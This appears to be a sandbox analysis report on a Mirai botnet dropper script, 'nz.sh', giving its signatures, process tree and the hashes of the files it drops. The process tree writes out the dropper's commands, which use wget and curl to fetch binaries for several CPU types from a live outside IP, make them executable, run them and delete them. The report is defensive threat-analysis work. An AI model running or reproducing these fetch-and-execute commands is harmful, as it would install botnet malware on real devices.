Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    15/08/2026, 02:49

General

  • Target
    nz.sh
  • Size 2KB
  • Sample260815-da81dsdp8w
  • SHA256 09e484fc3dcd85a4c8b709277d0b17d2c5620a20812fea43f1c78916781cb319
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 9 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/nz.sh
    /tmp/nz.sh
    1⤵
    • Executes dropped EXE
    PID:704
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:709
    • /usr/bin/wget
      wget http://157.173.119.111/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:714
    • /usr/bin/curl
      curl -O http://157.173.119.111/bins/px86
      2⤵
      • Writes file to tmp directory
      PID:723
    • /bin/chmod
      chmod +x busybox nz.sh px86 systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
      2⤵
      • File and Directory Permissions Modification
      PID:731
    • /tmp/px86
      ./px86 px86
      2⤵
        PID:732
      • /bin/rm
        rm -rf px86
        2⤵
          PID:734
        • /usr/bin/wget
          wget http://157.173.119.111/bins/pmips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /usr/bin/curl
          curl -O http://157.173.119.111/bins/pmips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:737
        • /bin/chmod
          chmod +x busybox nz.sh pmips systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
          2⤵
          • File and Directory Permissions Modification
          PID:738
        • /tmp/pmips
          ./pmips pmips
          2⤵
          • Deletes itself
          • Modifies Watchdog functionality
          • Changes its process name
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to shm directory
          PID:739
        • /bin/rm
          rm -rf pmips
          2⤵
          • System Network Configuration Discovery
          PID:741
        • /usr/bin/wget
          wget http://157.173.119.111/bins/px86_64
          2⤵
            PID:745
          • /usr/bin/curl
            curl -O http://157.173.119.111/bins/px86_64
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/chmod
            chmod +x busybox nz.sh px86_64 systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/px86_64
            ./px86_64 px86_64
            2⤵
              PID:753
            • /bin/rm
              rm -rf px86_64
              2⤵
                PID:754
              • /usr/bin/wget
                wget http://157.173.119.111/bins/pmpsl
                2⤵
                • Writes file to tmp directory
                PID:755
              • /usr/bin/curl
                curl -O http://157.173.119.111/bins/pmpsl
                2⤵
                • Writes file to tmp directory
                PID:763
              • /bin/chmod
                chmod +x busybox nz.sh pmpsl systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
                2⤵
                • File and Directory Permissions Modification
                PID:775
              • /tmp/pmpsl
                ./pmpsl pmpsl
                2⤵
                  PID:777
                • /bin/rm
                  rm -rf pmpsl
                  2⤵
                    PID:780
                  • /usr/bin/wget
                    wget http://157.173.119.111/bins/parm
                    2⤵
                    • Writes file to tmp directory
                    PID:781
                  • /usr/bin/curl
                    curl -O http://157.173.119.111/bins/parm
                    2⤵
                    • Writes file to tmp directory
                    PID:789
                  • /bin/chmod
                    chmod +x busybox nz.sh parm systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:800
                  • /tmp/parm
                    ./parm parm
                    2⤵
                      PID:802
                    • /bin/rm
                      rm -rf parm
                      2⤵
                        PID:805
                      • /usr/bin/wget
                        wget http://157.173.119.111/bins/parm5
                        2⤵
                        • Writes file to tmp directory
                        PID:806
                      • /usr/bin/curl
                        curl -O http://157.173.119.111/bins/parm5
                        2⤵
                        • Writes file to tmp directory
                        PID:816
                      • /bin/chmod
                        chmod +x busybox nz.sh parm5 systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:834
                      • /tmp/parm5
                        ./parm5 parm5
                        2⤵
                          PID:835
                        • /bin/rm
                          rm -rf parm5
                          2⤵
                            PID:838
                          • /usr/bin/wget
                            wget http://157.173.119.111/bins/parm6
                            2⤵
                            • Writes file to tmp directory
                            PID:840
                          • /usr/bin/curl
                            curl -O http://157.173.119.111/bins/parm6
                            2⤵
                            • Writes file to tmp directory
                            PID:846
                          • /bin/chmod
                            chmod +x busybox nz.sh parm6 systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
                            2⤵
                            • File and Directory Permissions Modification
                            PID:855
                          • /tmp/parm6
                            ./parm6 parm6
                            2⤵
                              PID:856
                            • /bin/rm
                              rm -rf parm6
                              2⤵
                                PID:858
                              • /usr/bin/wget
                                wget http://157.173.119.111/bins/parm7
                                2⤵
                                • Writes file to tmp directory
                                PID:859
                              • /usr/bin/curl
                                curl -O http://157.173.119.111/bins/parm7
                                2⤵
                                • Writes file to tmp directory
                                PID:865
                              • /bin/chmod
                                chmod +x busybox nz.sh parm7 systemd-private-fee48ef2c63a4054bb36f2f13f87d2ef-systemd-timedated.service-ES1EtQ
                                2⤵
                                • File and Directory Permissions Modification
                                PID:871
                              • /tmp/parm7
                                ./parm7 parm7
                                2⤵
                                  PID:872
                                • /bin/rm
                                  rm -rf parm7
                                  2⤵
                                    PID:874
                                  • /usr/bin/wget
                                    wget http://157.173.119.111/bins/pppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:877
                                  • /usr/bin/curl
                                    curl -O http://157.173.119.111/bins/pppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:884
                                  • /bin/chmod
                                    chmod +x busybox nz.sh pppc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:891
                                  • /tmp/pppc
                                    ./pppc pppc
                                    2⤵
                                      PID:893
                                    • /bin/rm
                                      rm -rf pppc
                                      2⤵
                                        PID:895
                                      • /usr/bin/wget
                                        wget http://157.173.119.111/bins/pspc
                                        2⤵
                                          PID:896

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            .comm

                                            • Path /dev/shm/.comm
                                            • Size 4B
                                            • SHA256 8a411eab6dc3431021059b9f59f07823a0303ff869b639e1df92f295cfb11721
                                            • MD5 SHA1 SHA512

                                            busybox

                                            • Path /tmp/busybox
                                            • Size 857KB
                                            • SHA256 3180df117342646dcdc4c436f95b41e15587e2238ec59064b4b06c065d56cf38
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            parm

                                            • Path /tmp/parm
                                            • Size 34KB
                                            • SHA256 db54a6b0df51bdc18e43dfc91b8600625415592ddf88d54c2455f1c3934c2f5c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            parm5

                                            • Path /tmp/parm5
                                            • Size 33KB
                                            • SHA256 eec75b78d511756863d55565fb269906e50705a61bc6f00e9c8fbca3d07e6fb1
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            parm6

                                            • Path /tmp/parm6
                                            • Size 37KB
                                            • SHA256 ad2cfd8b661654b7518a991c8caca2b2f3455c3cac6794b2da55ffc0d89baaf4
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            parm7

                                            • Path /tmp/parm7
                                            • Size 58KB
                                            • SHA256 740045574b5ad8967ada3f569ac1211c1900e9821cef7b4566bb8b7b0223a0e5
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            pmips

                                            • Path /tmp/pmips
                                            • Size 36KB
                                            • SHA256 bb1d71acda0f065e6bace361dec4d89bbc3338f8a2c780a614c94c99019724bc
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            pmpsl

                                            • Path /tmp/pmpsl
                                            • Size 37KB
                                            • SHA256 f56bd9b536daddf32e277cb6dceaa901c060a3729ac15b017d356df0b89a3c68
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            pppc

                                            • Path /tmp/pppc
                                            • Size 33KB
                                            • SHA256 38560878d6da281011c9e628f4c9cbf07075ea4da4b14d1bc35849f1eeee6aaf
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            px86

                                            • Path /tmp/px86
                                            • Size 33KB
                                            • SHA256 b7dd079942df5544c88b861ccf831ac7222c332643cfcd3947d23917c58d3c7c
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            px86_64

                                            • Path /tmp/px86_64
                                            • Size 196B
                                            • SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
                                            • MD5 SHA1 SHA512 TLSH